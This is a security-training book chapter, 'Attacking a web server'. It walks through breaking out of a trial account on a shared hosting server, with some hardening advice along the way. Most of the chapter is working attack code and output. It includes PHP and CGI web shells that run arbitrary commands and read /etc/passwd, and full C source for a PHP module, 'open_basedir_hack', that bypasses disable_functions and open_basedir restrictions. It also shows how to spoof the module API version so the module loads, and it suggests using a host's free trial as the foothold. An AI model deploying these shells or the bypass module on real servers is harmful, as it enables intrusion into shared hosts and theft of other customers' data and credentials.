Chapter 20

Attacking a web server

The number of World Wide Web pages is increasing at an amazing rate. The Internet is currently the fastest growing market in the world. Each company has its Internet presence, which helps it to gain a larger number of clients. More and more companies have decided to entrust all their services to the Internet. Maintaining a server for just one website is, however, not cost-effective, so the majority of people decide to enlist a hosting company. These hosts possess professional-quality servers, working on very fast links. Due to the large number of customers, often several thousand, hosting companies should be especially concerned about security. Their servers are the most frequent target for hackers' attacks, because cracking them provides access to many gigabytes of valuable information. Unfortunately, security is often limited due to limited financial means, which can be used more profitably, for example, on a marketing campaign.

Targets

Our main task will be to gain access to a fictitious hosting server. We will perform an attack using many configuration gaps as an example – from more common ones to those known to very few people. We will consider the attack successful if we manage to read the system user file (/etc/passwd) and we discover the system version by executing the command "uname –a."

A remote attack on a server, without local access, is very difficult or almost impossible. Luckily a hosting company is offering a free trial period, which lasts 14 days. After all, we don't want to spend any money. After registration, without any charges, we receive an account on the server, which we can use for the attack. Two weeks should be plenty of time to execute it.

Trial periods usually offer only the minimum configuration. We will assume that on our fictitious server we have access only to FTP and WWW. Therefore two avenues of attack are open to us. Unfortunately, we are dealing with a professional server, which more than likely uses the latest software updates.

We can therefore completely forget about the FTP server. It doesn't offer any elements that could be useful for us in an attack. Let's focus instead on the WWW server. By far the most common server software is Apache:

```
http://www.apache.org
```

The Apache server and its possibilities

Apache is without doubt the most popular web server. It enables many sites to be hosted, and it even possesses its own thread service system. In addition, it enables the loading of modules to extend its abilities. The WWW server itself is not a good target for an attack. Its code has been checked over and over again without any errors being discovered. If any errors still exist in it, they are by now really very difficult to find. On the other hand, its modules can make many dangerous functions available. By exploiting them we can start up any program with the server rights, which technically shouldn't be possible. What's more, the server's modules have access to its memory, which can also be disastrous.

There are several modules that are standard on all hosting servers, and which allow us to create interactive WWW pages. Inevitably among them are PHP and CGI.

PHP

Using this module, the server returns the HTML code based on a script written in the PHP language. This language is in use on practically every single major website. Very few users realize that it can be taken advantage of to gain access to the server data.

Dangerous startup functions

PHP possesses functions that enable the startup of any program. Many administrators don't know about this and leave the module configuration unchanged. So let's see how we can execute the "uname -a" program – in five different ways (**/CD/Chapter20/Listings/p1.php**).

```
<?php
        define("CMD", "uname -a");
        echo "exec():<br>"; echo exec(CMD);
        echo "<br><br>system():<br>"; system(CMD);
        echo "<br><br>passthru():<br>"; passthru(CMD);
        echo "<br><br>shell_exec():<br>"; echo shell_exec(CMD);
        echo "<br><br>popen():<br>"; $handle = popen(CMD, "r");
        $read = fread($handle, 2096); echo $read;
        pclose($handle);
?>
```

We place the above script on our server under any name with the extension .php and then we start it up (opening its WWW page). The result might appear as follows:

```
exec():
Linux top 2.6.26.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 unknown unknown PLD Linux

system():
Linux top 2.6.26.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 unknown unknown PLD Linux

passthru():
Linux top 2.6.26.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 unknown unknown PLD Linux

shell_exec():
Linux top 2.6.26.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 unknown unknown PLD Linux

popen():
Linux top 2.6.26.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 unknown unknown PLD Linux
```

The functions system and passthru immediately return the result on the screen. The functions exec and shell_exec return the result to the variable, which we have to print. Meanwhile popen() creates what is known as a pipe, from which we read the result. Luckily, there aren't many hosting servers with such a leaky configuration, although administrators tend to block only some of the above functions. This is a mistake, because a hacker can then easily start up another program using the WWW server rights and read important configuration files containing, for example, the passwords to the database. These functions can be blocked through an entry in the php.ini file:

```
disable_functions = exec, system, passthru, shell_exec, popen
```

Now we will restart the Apache server and check the results:

```
exec():
Warning: exec() has been disabled for security reasons in test.php on line 4

system():
Warning: system() has been disabled for security reasons in test.php on line 6

passthru():
Warning: passthru() has been disabled for security reasons in test.php on line 8

shell_exec():
Warning: shell_exec() has been disabled for security reasons in test.php on line 10

popen():
Warning: popen() has been disabled for security reasons in test.php on line 12
```

Indeed, such a situation can occur frequently on professional servers. We, of course, aren't discouraged and proceed with the tests.

Listing of directory contents and reading files

We cannot start up the program on the server, because the administrator has blocked the dangerous functions. However, perhaps we will be able to read the interesting configuration files? PHP contains many functions enabling operations on files and directories. These functions aren't limited only to the current working directory. We can just as easily display a file located, for example, in the /etc folder. All this with a script that is only a few lines long (**/CD/Chapter20/Listings/test.php**):

```
<?php
        if(isset($_GET["dir"]))
        {
                $folder = opendir($_GET["dir"]);
                while ($file = readdir($folder))
                {
                        echo "$file <br>";
                }
                closedir($folder);
        }
        if(isset($_GET["file"]))
                readfile($_GET["file"]);
?>
```

At the beginning we check if the “dir” variable is set by using the isset() function. If yes, we open a specific directory and print its contents. Next, if the “file” variable is set, we print its content using the readfile() function. Let’s check how this looks in practice. For this purpose we copy the script into the server and name it, for example, “test.php.” Then we transfer the parameters to the page address:

```
http://server/test.php?dir=/home&file=/etc/passwd
```

The result might look like this:

```
.
..
services
users

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/account:
...
dave:x:124:1000::/home/users/dave:/bin/bash
dave:x:125:1000::/home/users/dave:/bin/bash
http:x:51:51:HTTP User:/home/services/httpd:/bin/false
mysql:x:89:89:MySQL Server:/home/services/mysql:/bin/sh
```

Attention.
All sample scripts discussed in this chapter you can find at http://localhost/Chapter20/, which is available from the Training Operating System. The Apache server that is installed and run locally will allow you to practice the material discussed in this chapter without any additional installation. To modify the selected sample script, please visit the /var/www/html/ directory.

As we can see, we receive the content of the /home directory and then the /etc/passwd file. Now we can list the directories of other users and search for the config.php files in them. These often contain the password to the mysql database, which is usually the same password as for FTP.

Such a situation shouldn’t, of course, be allowed to happen. A solution would be to set the appropriate PHP option - open_basedir. This allows us to limit the activity of PHP scripts to specific directories. The entry in php.ini might, for example, look like this:

```
open_basedir = /home/users/
```

We will now restart the Apache server and check the result:

```
Warning: opendir() [function.opendir]: open_basedir restriction in effect. File(/home)
is not within the allowed path(s): (/home/users/) in test.php on line 4

Warning: opendir(/home) [function.opendir]: failed to open dir: Forbidden operation in
test.php on line 4

Warning: readfile() [function.readfile]: open_basedir restriction in effect.
File(/etc/passwd) is not within the allowed path(s): (/home/users/) in test.php on line
12

Warning: readfile(/etc/passwd) [function.readfile]: failed to open stream: Forbidden
operation in test.php on line 12
```

Just as expected, we don’t have access to the /etc/passwd file or to the /home directory. Our access starts from the /home/users folder and we can read files and list subdirectories only from it. However, the best solution is to set the option open_basedir for each user separately using the flag “php_admin_value” in the Apache configuration file.

In this way we can neither start up the system commands, nor read the main system configuration files any more. With this the PHP security of many hosting servers usually ends. Fortunately, there are methods to bypass this inconvenient configuration.

PHP modules

As we already know, PHP modules work with a WWW server. Apache doesn’t allow unauthorized users to load the plugins, but PHP doesn’t have this limitation (as standard, at least).

PHP modules are written in the C language, so they allow all the operations to be performed that are available to other programs. The modules' functions can be used in PHP scripts. Our task is to write a module that will be able to read or start up any file on the server. It will work under the same rights as the WWW server and won't be restricted by any of its configuration options.

Before we proceed to the target code, we'll see how these modules are built. Let's have a look at an example PHP script (**/CD/Chapter20/Listings/p2.php**):

```
<?

function hello_world()
{
        return "Hello World!";
}
echo hello_world();

?>
```

Its only task is to print the value returned by the hello_world() function on the screen. This function constitutes part of the PHP script, so it is limited by the options located in the configuration file. We will now try to rewrite it so it will be located in the dynamically loaded PHP module.

Below is a code with comments (**/CD/Chapter20/Listings/test.c**):

```
/*
The only useful header of our module will be the "php.h" file.
It contains information allowing the compilation of our module.
*/

#include <php.h>

/*
ZEND_FUNCTION is a macro that tells that a specific function can be
used in the php script. In our case this is only hello_world().
*/
ZEND_FUNCTION(hello_world);

/* Table of functions used in the module */
zend_function_entry hello_functions[] =
{
        ZEND_FE(hello_world, NULL)
        {NULL, NULL, NULL}
};
```

```
/*
Main structure of our module. In the majority of fields we can enter NULL.
*/
zend_module_entry hello_module_entry =
{
        STANDARD_MODULE_HEADER,
        "Hello World module",
        hello_functions,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL,
        NO_VERSION_YET,
        STANDARD_MODULE_PROPERTIES
};

/*
Macro telling that our module will be read dynamically.
*/
#ifdef COMPILE_DL
ZEND_GET_MODULE(hello)
#endif

/*
ZEND_FUNCTION is a macro that we use when declaring the function.
It enables the access to the function from the PHP script level.
*/
ZEND_FUNCTION(hello_world);
{
        /*
        We return the character sequence using RETURN_STRING. We don't use the standard
        "return" because each function available from the script has to return void.
        */
        RETURN_STRING("Hello World!", 1);
}
```

We now have the code of our example module. Now we have to compile it into the form of a dynamically loaded module. In order to do this, we have to have the PHP header files, which are most commonly located in the folder /usr/include/php. If we have them, we can automate the compilation process using the Makefile file below:

```
CC=gcc
PHPINC=/usr/include/php
CFLAGS=-fpic -g -DCOMPILE_DL
SO=test.so
OBJ=test.o

all:    $(OBJ)
        $(CC) -shared -rdynamic -o $(SO) $(OBJ)
```

```
test.o:  test.c
         $(CC) $(CFLAGS) -I $(PHPINC) -I $(PHPINC)/regex\
         -I $(PHPINC)/main -I $(PHPINC)/Zend -I $(PHPINC)/TSRM \
         -c $<
```

We save it in the same folder as the source. We name the source file "test.c." Now we just give the make command:

```
bash-2.05b$ make
gcc -fpic -g -DCOMPILE_DL -I /usr/include/php -I /usr/include/php/regex\
-I /usr/include/php/main -I /usr/include/php/Zend -I /usr/include/php/TSRM \
-c test.c
gcc -shared -rdynamic -o test.so test.o
bash-2.05b$
```

We now have the compiled module with the name "test.so." To read it, the PHP function with the name dl() is used. Therefore, we create the PHP script that will read our module and print the result of the function hello_world(), located in the module, on the screen (**/CD/Chapter20/Listings/p3.php**).

```
<?php

$result = dl("test.so");

if(!$result)
{
        echo "Cannot upload the module test.so!!<br>";
}

echo hello_world();

?>
```

We load our module using dl().

Important: We should remember that the module has to be located in the path in which the script is being started up. If everything has gone without problems, we should see the message:

```
Hello World!
```

We now know how to write PHP modules, so we shouldn't have any problem understanding a more advanced example. Regardless of the PHP configuration, we want the file below to give the desired results:

```
<?
echo runcmd("uname -a");
echo getfile("/etc/passwd");
?>
```

Therefore we define two additional functions to perform these operations, in our module. The best solution is to show this with ready-made, commented code (**/CD/Chapter20/Listings/open_basedir_hack/open_basedir_hack.c**):

```
/* PHP open_basedir_hack source       */
/* Damian Put <pucik@overflow.pl>    */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <php.h>

ZEND_FUNCTION(getfile);
ZEND_FUNCTION(runcmd);

zend_function_entry obhack_functions[] =
{
        ZEND_FE(getfile, NULL)
        ZEND_FE(runcmd, NULL)
        {NULL, NULL, NULL}
};

zend_module_entry obhack_module_entry =
{
        STANDARD_MODULE_HEADER,
        "Openbase_dir hack",
        obhack_functions,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL,
        NO_VERSION_YET,
        STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL
ZEND_GET_MODULE(obhack)
#endif

/*
        Main function returning the content of a specific file
*/
```

```
char* get_file(char *filename)
{
        int fd;
        char *buf;
        struct stat mystat;
        /* Opening the file */
        fd = open(filename, O_RDONLY);

        /* Downloading information about it */
        fstat(fd, &mystat);
        buf = (char*) malloc(mystat.st_size * sizeof(char));

        /* Reading the file content */
        read(fd, buf, mystat.st_size);
        buf[mystat.st_size-1] = 0;
        close(fd);
        /* Returning the file content */
        return buf;
}

char* run_cmd(char *cmd)
{
        FILE *cmdstream;
        char *buf = (char*)malloc(1024);
        int buflen = 1024;
        char tmp[1024];
        memset(buf, 0, 1024);
        memset(tmp, 0, 1024);
        /* Starting up the program in the pipe */
        cmdstream = popen(cmd, "r");
        /* Reading data from the pipe and writing them in the buffer */
        while(fgets(tmp, 1024, cmdstream))
        {
                if(buflen < strlen(buf) + strlen(tmp))
                {

                        buf = realloc(buf, buflen*2);
                        buflen *= 2;
                }
                strcat(buf, tmp);
        }
        pclose(cmdstream);
         /* Returning the program result */
        return buf;
}

ZEND_FUNCTION(getfile)
{
        pval **filename;
        char *retval;
        /* ZEND_NUM_ARGS points to the number of arguments put into the functions */
        if(ZEND_NUM_ARGS()!= 1 ||
                /* If their number is different */
                zend_get_parameters_ex(1, &filename) == FAILURE){
                /* Returning error */
                WRONG_PARAM_COUNT;
        }
        convert_to_string_ex(filename);
        retval = get_file(Z_STRVAL_PP(filename));
        /* Downloading the file and returning it */
        RETURN_STRING(retval, 1);
}

ZEND_FUNCTION(runcmd)
{
        pval **cmd;
        char *retval;
        if(ZEND_NUM_ARGS()!= 1 ||
                zend_get_parameters_ex(1, &cmd) == FAILURE){
                WRONG_PARAM_COUNT;
        }
        convert_to_string_ex(cmd);
        retval = run_cmd(Z_STRVAL_PP(cmd));
        RETURN_STRING(retval, 1);
}
```

The code closely resembles our test module. It contains only two additional functions (downloading the file and executing the command). We can save the file under the name "test.c" and use the same Makefile file to compile it, with which we shouldn't have problems. The script below can be useful for the module service. To make it work, we have to change the name test.so to open_basedir_hack.so
(**/CD/Chapter20/Listings/open_basedir_hack/open_basedir_hack.php**):

```
<?
/* PHP open_basedir_hack script             */
/* Damian Put <pucik@overflow.pl>           */

echo "<center>open_basedir_hack by Damian Put <br></center>";
error_reporting(0);

$result = dl("open_basedir_hack.so");

if(!$result)
{
    print "ERROR: Cannot load open_basedir_hack module!!<br>";
}

if(isset($_GET['file']))
        $result = getfile($_GET['file']);
        $result = str_replace("\n", "<br>", $result);
        echo $result;

if(isset($_GET['cmd']))
        $result = runcmd($_GET['cmd']);
        $result = str_replace("\n", "<br>", $result);
        echo $result;
?>
```

We transfer the command for the startup to the cmd parameter, and the name of the file to be read to file. Let's check if it really works, entering the page:

```
http://server/open_basedir_hack.php?cmd=uname%20-a&file=/etc/passwd
```

We should see:

```
open_basedir_hack by Damian Put

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/account:
...
bob:x:124:1000::/home/users/bob:/bin/bash
dave:x:125:1000::/home/users/dave:/bin/bash
http:x:51:51:HTTP User:/home/services/httpd:/bin/false
mysql:x:89:89:MySQL Server:/home/services/mysql:/bin/sh

Linux top 2.6.26.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 unknown unknown PLD Linux
```

At the beginning we see the content of the /etc/passwd file, then the result of the "uname -a" command. This type of error can be found in many servers. A large number of administrators doesn't know about the ability to load PHP modules, and many of them, even if they are aware of this, leave this possibility activated, to increase the range of server services.

Reading files and starting up requests are only a drop in the proverbial bucket of possibilities. Thanks to the modules we have full access to the memory of the whole WWW server. By writing a module we are able to redirect all pages located on the server to a different address. With the dl() function at our disposal we can, within a second, substitute thousands of pages without changing their files. We will leave this as a challenge for the ambitious reader, who can obtain more information about this topic from the publication available under the following address:

```
        http://www.phrack.org/phrack/62/p62-0x0a_Attacking_Apache_Modules.txt
```

Protecting against undesirable PHP modules is quite simple.

We just need to put the dl() function on the list of blocked functions:

```
disable_functions = exec, system, passthru, shell_exec, popen, dl
```

We restart the Apache server and then, when attempting to load the module, we see:

```
        Warning: dl() has been disabled for security reasons in test.php on line 10
```

Attention.
We also need to know that the method described above works correctly for PHP configuration, that allows to load the modules from the user's home directory. The latest release of PHP5, including the version installed on the Training Operating System, allows us to load modules located in a predefined directory. The option called extension_dir, placed in the php.ini, is responsible for this behavior. In order to perform the experiment properly, we need to put the modules in the extensions directory (/usr/lib/php/extensions/ by default).

Compilation of modules and related problems

If our module is not compiling, we should check to be sure we have the PHP libraries, looking in the /usr/lib/php and /usr/include/php directories. If we don't have them, we can download them from the page:

```
http://www.php.net
```

To compile the module we have to have access to the shell and to the compiler. In our case we don't have these rights. Therefore we compile the module on a home machine, and then we compile the ready-made libraries in the form of .so files on the server. This can occasionally cause problems.

Compilation is a process in which human-readable code is turned into a language understandable to a processor. As we can see, there are many types of processors as well as architectures. A compiler produces output code for a specific type of processor. In addition, our module uses the PHP header files. The version we create in the compilation process can differ from the one running on the server. Sometimes the dl() function can return an error of the type:

```
Warning: dl(): (null): Unable to initialize module Module compiled with module
API=20040429, debug=1, thread-safety=1 PHP compiled with module API=20020429, debug=0,
thread-safety=0 These options need to match in open_basedir_hack.php on line 12
```

As we can see PHP cannot upload our module for three reasons:

- The API PHP version doesn't match.
- Our module has been compiled with the thread-safety option, whereas the PHP version used doesn't work with this option.
- Our module has been compiled with the debug option, which is not compatible with the PHP version used.

The best solution in this case is to download exactly the same PHP version as the one running on the server and to compile it on our own system with the necessary options (using the configure script). Another possibility is to deceive our compiler by using macros. After enclosing the php.h file we can use the following code:

```
#undef ZEND_MODULE_API_NO
#define ZEND_MODULE_API_NO 20090429

#undef USING_ZTS
#define USING_ZTS 0

#undef ZEND_DEBUG
#define ZEND_DEBUG 1
```

In this way we can determine the API version (ZEND_MODULE_API_NO), as well as the use of thread safety (USING_ZTS) and the debug option (ZEND_DEBUG). This solution is, however, not good, as our module can be unstable. A better solution is to spend some time and compile it to the version located on the server.

Everything is blocked. What now?

Unfortunately, using PHP it will be difficult to do anything else. We can obtain some interesting information by starting up the script below:

```
<?
phpinfo();
?>
```

This will show the system version and the compilation options. When working as an administrator on the server we should also block phpinfo(). The less information we make available, the better. A good way to secure PHP is to switch on the safe_mode function in the configuration file:

```
safe_mode = On
```

However, switching it on often causes many scripts to run poorly. It is rarely used on hosting servers due to the limitations it creates.

Unfortunately, PHP contains read modules as standard, written in the php.ini file. Some of these can contain errors, allowing us to change the PHP configuration. An example is the shmop module.

The website listed below gives an example of an exploit that switches off the safe_mode by using an error in the module mentioned:

```
http://www.wisec.it/news.php?page=2&lang=en
```

Another example is the curl module, which is used more frequently. It allows files to be downloaded using many formats of the URL addresses. However, its authors forgot to take into consideration limitations related to open_basedir, causing the code below to display the content of the /etc/passwd file on the screen (**/CD/Chapter20/Listings/curl.php**):

```
<?php
$ch = curl_init("file:///etc/passwd");
$file=curl_exec($ch);
echo $file;
?>
```

Unfortunately, such a situation is encountered very rarely. Most often there aren't any PHP modules on the server, and if there are, we cannot get anywhere with them.

It's impossible to do anything – Have we reached an impasse?

All dangerous functions are blocked, and the administrator has switched on safe_mode – have we come as far as we can go? Yes, using PHP we won't achieve anything else. It's time to take care of the remaining modules of the Apache server.

CGI

CGI (Common Gateway Interface) is not a programming language, in contrast to PHP. It is a method for the WWW server to communicate with other applications. A CGI program (script) can be written in any programming language. The only important thing is what it returns. The WWW server transfers the necessary information such as the GET and POST parameters to the CGI program, but its task is to return the HTML code.

In the majority of WWW servers, including Apache, the CGI service is built in. CGI scripts are, however, rarely used due to their low performance. Each script that is started up creates a new process, which considerably slows down the server function.

Because CGI is ubiquitous, it is a perfect attack target for a hacker. Another reason is that it can give a successful hacker vast abilities. As mentioned already, any program can be run by a CGI script. Our will be the shell script (**/CD/Chapter20/Listings/test.cgi**):

```
#!/bin/sh
echo -e "Content-type: text/plain\n\n"
echo "Hello World!"
```

We write the script under the name "test.cgi." We place the file in the "cgi-bin" folder if available. Otherwise we copy it to another location. We should also give startup rights to our script. We refer to the program through the address:

```
http://server/test.cgi
```

If we see the content of the script, we won't obtain anything; it means that the server doesn't have the built-in CGI service. But if we see "Hello World!" on the screen we can be pleased with ourselves. We can add any commands such as "cat /etc/passwd" or "uname -a" to our script. We can also use the script below (**/CD/Chapter20/Listings/test2.cgi**):

```
#!/bin/sh
echo -e "Content-type: text/plain\n\n"
eval "${QUERY_STRING//+/ }"
```

And we can transfer commands in the parameter:

```
http://server/test.cgi?cat+/etc/passwd;uname+-a
```

After entering this page, we should see the request's result:

```
Linux top 2.6.28.8 #1 Tue Oct 19 04:53:59 CEST 2009 i686 GNU Linux

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/account:
...
bob:x:124:1000::/home/users/bob:/bin/bash
dave:x:125:1000::/home/users/dave:/bin/bash
http:x:51:51:HTTP User:/home/services/httpd:/bin/false
mysql:x:89:89:MySQL Server:/home/services/mysql:/bin/sh
```

However, problems may crop up during an attempted attack using CGI scripts. A script written in the sh shell requires sh itself, along with other programs, to function. These aren't necessarily available. A frequent method of securing the Apache server is to isolate it from the rest of the data. It is placed in what is known as the chroot environment. In such a situation our CGI script would return an "internal server error." However, there is a way out from this situation.

Our CGI script doesn't have to use the shell at all; it can just as easily be a program written in C (**/CD/Chapter20/Listings/test-cgi.c**):

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char* get_file(char *filename)
{
        int fd;
        char *buf;
        struct stat mystat;

        /* Opening the file */
        fd = open(filename, O_RDONLY);
        /* Downloading information about it */
        fstat(fd, &mystat);
        buf = (char*) malloc(mystat.st_size * sizeof(char));
        /* Reading the file content */
        read(fd, buf, mystat.st_size);
        buf[mystat.st_size-1] = 0;
        close(fd);
        /* Returning the file content */
        return buf;
}

char* run_cmd(char *cmd)
{
        FILE *cmdstream;
        char *buf = (char*)malloc(1024);
        int buflen = 1024;
        char tmp[1024];
        memset(buf, 0, 1024);
        memset(tmp, 0, 1024);
        /* Starting up the program in the pipe */
        cmdstream = popen(cmd, "r");
        /* Reading data from the pipe and writing them to the buffer */
        while(fgets(tmp, 1024, cmdstream))
        {
                if(buflen < strlen(buf) + strlen(tmp))
                {
                        buf = realloc(buf, buflen*2);
                        buflen *= 2;
                }
                strcat(buf, tmp);
        }
        pclose(cmdstream);
        /* Returning the program result */
        return buf;
}
```

```
int main()
{
        char *tmp = NULL;
        char *file;
        char *cmd;
        char *query = getenv("QUERY_STRING");
        printf("Content-type: text/html\n\n");
        file = strstr(query, "file=");
        if(file)
        {
                tmp = strstr(file, "&");
                if(tmp)
                        *tmp = NULL;
                file += 5;
                puts(get_file(file));
        }
        if(tmp) *tmp = '&';
        cmd = strstr(query, "cmd=");

        if(cmd)
        {
                tmp = strstr(cmd, "&");
                if(tmp)
                        *tmp = NULL;
                cmd += 4;
                tmp = cmd;
                while(*tmp++)
                        if(*tmp == '+') *tmp = ' ';
                puts(run_cmd(cmd));
        }
        return 0;
}
```

This uses the same functions we used in the previous PHP module. We just need to compile it:

```
bash-2.05b$ gcc -o test3.cgi test3.c
```

From this moment we can use it in the same way as the previous script. This time we transfer information to it in the parameter:

```
http://server/test3.cgi?file=/etc/passwd&cmd=uname+-a
```

This type of situation shouldn't occur. However, it turns out that CGI is often omitted by administrators. In this way a potential hacker can read all the files to which the Apache server has access. There is no 100 percent protection against malicious CGI scripts. We can only limit their function using the Apache module suexec, which requires CGI scripts to be started up under the rights of a specific user.

After installing it, the “id” command using the CGI script will give this result:

```
uid=500(hacker) gid=1000(users)
```

In this way the hacker won’t be able to read the files of the other users using CGI. This doesn’t completely solve the problem, but it’s certainly worth switching it on.

The mod_python, mod_perl, and mod_* modules

With the growing popularity of languages such as Python and mono, the number of people wanting to use this technology when creating WWW pages is steadily increasing. Starting up these scripts from the CGI level is very slow and ineffective, and therefore interpreter versions are being created that work in the same way as the Apache server modules. Examples include mod_perl, mod_python, mod_mono, and many others. It is increasingly common for hosting to extend their services using these scripts, although from the point of view of security, this is not a good move. Their presence can significantly decrease the server’s protection level. Modules of this type are excellent in large, singular projects, but their use on hosting servers is due largely to misguided commercial considerations.

If PHP and CGI fail, and modules interpreting a specific programming language are available, we simply test the server’s security using these instead.

If none of our methods have produced results, which doesn’t happen often, there is not much left we can do. However, we should keep the following principle in mind: “Everything is leaky, but not all the holes have been discovered.” Maybe we will be lucky and will notice something that hundreds of previous users didn’t.

We undertake all of this effort just to test the security of our data, to stay one step ahead of the hackers.